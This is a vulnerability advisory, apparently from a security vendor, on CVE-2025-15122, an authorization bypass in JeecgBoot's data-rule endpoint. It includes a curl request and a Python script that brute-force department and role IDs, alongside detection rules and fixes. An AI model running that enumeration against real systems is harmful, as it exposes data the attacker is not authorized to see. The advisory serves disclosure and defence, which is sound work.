CVE-2025-15122
Executive Summary
CVE-2025-15122 is an improper authorization vulnerability (CWE-285) in JeecgBoot, a popular open-source Java low-code platform. The flaw resides in the loadDatarule function of the /sys/sysDepartRole/datarule/ endpoint. By manipulating the departId and roleId arguments, an authenticated attacker can bypass authorization checks and access data rules they are not permitted to see. The attack is considered complex and difficult to exploit, but a public proof-of-concept exists. The vendor has not responded to disclosure attempts, and no official patch is available. The CVSS score is 3.1 (Low), reflecting the high attack complexity and low impact on confidentiality.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
JeecgBoot is distributed as a Maven project and is often used as a dependency in enterprise Java applications. Organizations using JeecgBoot as a library or framework should treat this as a supply chain risk. The lack of a vendor patch means that any application built on JeecgBoot up to version 3.9.0 inherits this vulnerability. Teams should audit their use of the sysDepartRole component and consider implementing compensating controls.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
- Base Score: 3.1 (Low)
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): High (H) – Successful exploitation requires specific conditions or knowledge of the target system.
- Privileges Required (PR): Low (L) – The attacker must have valid credentials to the JeecgBoot application.
- User Interaction (UI): None (N) – No user action is required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): Low (L) – Limited information disclosure is possible.
- Integrity (I): None (N) – No data modification is possible.
- Availability (A): None (N) – No denial of service impact.
Threat Level: Low. The high attack complexity and requirement for authentication reduce the immediate risk. However, the public availability of exploit details and the lack of a patch mean that targeted attacks are possible.
Deep Dive & Mechanics
The vulnerability is located in the loadDatarule method of the SysDepartRoleController class. This endpoint is designed to load data rules associated with a specific department and role. The intended authorization check should verify that the requesting user has permission to view data rules for the given departId and roleId.
The flaw is that the authorization check is either missing or improperly implemented. The controller likely performs a simple database query without verifying that the user is a member of the specified department or has the appropriate role. By manipulating the departId and roleId parameters, an attacker can enumerate data rules across the organization.
The attack flow:
- The attacker authenticates to the JeecgBoot application.
- The attacker sends a GET request to
/sys/sysDepartRole/datarule/with crafteddepartIdandroleIdparameters. - The server returns data rules that the attacker should not have access to.
The high complexity likely stems from the need to guess or enumerate valid department and role IDs, which may not be easily discoverable.
Vulnerable vs. Patched Code
Since no official patch exists, a comparison is based on the expected fix.
Vulnerable Code (Conceptual):
@GetMapping("/datarule")
public Result<List<SysDepartRole>> loadDatarule(String departId, String roleId) {
// Missing authorization check
List<SysDepartRole> rules = sysDepartRoleService.findByDepartIdAndRoleId(departId, roleId);
return Result.ok(rules);
}
Patched Code (Expected Fix):
@GetMapping("/datarule")
public Result<List<SysDepartRole>> loadDatarule(String departId, String roleId) {
// Authorization check: verify user belongs to the department
if (!userService.isUserInDepartment(getCurrentUserId(), departId)) {
return Result.error("Access denied");
}
List<SysDepartRole> rules = sysDepartRoleService.findByDepartIdAndRoleId(departId, roleId);
return Result.ok(rules);
}
The fix adds a check to ensure the authenticated user is a member of the specified department before returning the data rules.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A valid user account on the JeecgBoot instance.
- Knowledge of valid
departIdandroleIdvalues (can be enumerated).
Exploitation Steps:
- Authenticate to the JeecgBoot application and obtain a session token.
- Use a tool like
curlor Burp Suite to send a crafted request:curl -X GET "http://target.com/sys/sysDepartRole/datarule/?departId=123&roleId=456" \ -H "Cookie: JSESSIONID=your_session_id" - Observe the response. If it returns data rules, the vulnerability is confirmed.
- Enumerate different
departIdandroleIdvalues to extract all data rules.
Automated Exploit (Python):
import requests
target = "http://target.com"
session = requests.Session()
session.cookies.set("JSESSIONID", "your_session_id")
# Brute force department and role IDs
for depart_id in range(1, 100):
for role_id in range(1, 100):
url = f"{target}/sys/sysDepartRole/datarule/?departId={depart_id}&roleId={role_id}"
response = session.get(url)
if response.status_code == 200 and "data" in response.json():
print(f"Found: departId={depart_id}, roleId={role_id}")
print(response.text)
Blue Team
Detection:
- Monitor logs for repeated requests to
/sys/sysDepartRole/datarule/with varyingdepartIdandroleIdparameters. - Alert on requests from users who do not belong to the specified department.
Mitigation:
- Implement a Web Application Firewall (WAF) rule to block requests to
/sys/sysDepartRole/datarule/with suspicious parameter patterns. - Apply a virtual patch by modifying the application code to add authorization checks (see patched code above).
- Restrict access to the endpoint using network segmentation or API gateways.
Indicators of Compromise (IOCs)
- URL Pattern:
/sys/sysDepartRole/datarule/withdepartIdandroleIdparameters. - HTTP Request: GET requests to the above URL with varying parameter values.
- Log Entry:
GET /sys/sysDepartRole/datarule/?departId=*&roleId=*from a single user in a short time frame. - Response: JSON containing
dataarray withSysDepartRoleobjects.
Detection Engineering
YARA Rule
rule CVE_2025_15122_JeecgBoot_DataRule_Bypass {
meta:
description = "Detects exploitation attempts of CVE-2025-15122 in JeecgBoot"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-15122"
strings:
$url_pattern = "/sys/sysDepartRole/datarule/"
$param_depart = "departId="
$param_role = "roleId="
condition:
all of them
}
Sigma Rule
title: CVE-2025-15122 - JeecgBoot DataRule Authorization Bypass
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit improper authorization in JeecgBoot's loadDatarule endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/sys/sysDepartRole/datarule/'
cs-uri-query|contains|all:
- 'departId='
- 'roleId='
condition: selection
falsepositives:
- Legitimate administrative use
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-15122 - JeecgBoot DataRule Authorization Bypass"; flow:to_server,established; content:"GET"; http_method; content:"/sys/sysDepartRole/datarule/"; http_uri; content:"departId="; http_uri; content:"roleId="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Apply a Virtual Patch: Modify the
loadDatarulemethod inSysDepartRoleController.javato include an authorization check that verifies the user belongs to the specified department. - Restrict Access: Use a WAF or reverse proxy to block requests to
/sys/sysDepartRole/datarule/from untrusted IPs or with suspicious parameter patterns. - Monitor Logs: Enable detailed logging for the endpoint and alert on anomalous access patterns.
Long-Term Fix:
- The vendor should release a patched version of JeecgBoot that includes proper authorization checks.
- Until then, consider upgrading to a version newer than 3.9.0 if available, or fork the project and apply the fix internally.
Compensating Controls:
- Implement role-based access control (RBAC) at the application level.
- Use an API gateway to enforce authentication and authorization for all endpoints.
- Conduct regular security audits of custom code and third-party dependencies.
Valters IT
DevSecOps & Cyber Threat Intelligence